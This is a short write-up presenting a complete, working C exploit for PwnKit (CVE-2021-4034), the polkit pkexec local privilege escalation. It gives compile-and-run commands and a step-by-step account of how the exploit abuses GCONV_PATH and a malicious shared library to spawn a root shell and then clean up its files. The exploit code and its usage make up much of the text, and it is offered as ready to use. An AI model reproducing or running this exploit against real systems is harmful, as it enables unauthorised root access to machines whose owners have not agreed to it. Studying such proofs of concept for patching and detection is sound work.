Quick-n-dirty Pwnkit exploit:

/*
 * Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit's pkexec (CVE-2021-4034) by Andris Raugulis <moo@arthepsy.eu>
 * Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
char *shell = 
	"#include <stdio.h>\n"
	"#include <stdlib.h>\n"
	"#include <unistd.h>\n\n"
	"void gconv() {}\n"
	"void gconv_init() {\n"
	"	setuid(0); setgid(0);\n"
	"	seteuid(0); setegid(0);\n"
	"	system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
	"	exit(0);\n"
	"}";
 
int main(int argc, char *argv[]) {
	FILE *fp;
	system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
	system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
	fp = fopen("pwnkit/pwnkit.c", "w");
	fprintf(fp, "%s", shell);
	fclose(fp);
	system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
	char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
	execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

The exploit is then as simple as gcc $FILE -o exploit; ./exploit.

This version of the exploit will leave traces in the target’s logs!

Here’s what happens on execution:

  1. The exploit creates the path GCONV_PATH=. in the current directory and adds an invalid executable file to it.

  2. The exploit creates a second directory called pwnkit and sets up a malicious shared library designed to be loaded by GLib to translate system messages to the made-up character set “PWNKIT”.

  3. The exploit calls pkexec with a NULL argument list (this bit is important, since we need the length of the argument list to be 0 — so, not even to contain the name of pkexec itself) but with a correctly set up (albeit malicious) environment via execve(). Importantly, the first “variable” in the environment is actually the name of the (invalid) executable in the GCONV_PATH=. directory.

  4. Polkit just falls through the loop that it would normally use to walk through the passed-in arguments. This causes what would be pointing to an executable name to instead point to the first environment variable that’s passed into execve(), which happens to be string pwnkit.

  5. Polkit looks up the malicious executable, finds it in GCONV_PATH=./pwnkit (because we set the PATH to that directory), and then tries to replace the executable name with this full path. Except that it’s still writing to the first element of the environment, which causes pwnkit to be replaced by GCONV_PATH=./pwnkit.

  6. Polkit the proceeds to sanitize its environment. When it comes to the invalid SHELL variable this sanitization fails and Polkit throws an error and dies. But! Before dying, Polkit tries to print the error using a GLib function that dutifully attempts to translate the message into the “PWNKIT” character set. To figure out how to do this, modules are loaded from GCONV_PATH… And we’ve defined a malicious module to do this that cleans up the exploit files and spawns a root shell (since pkexec is SUID root).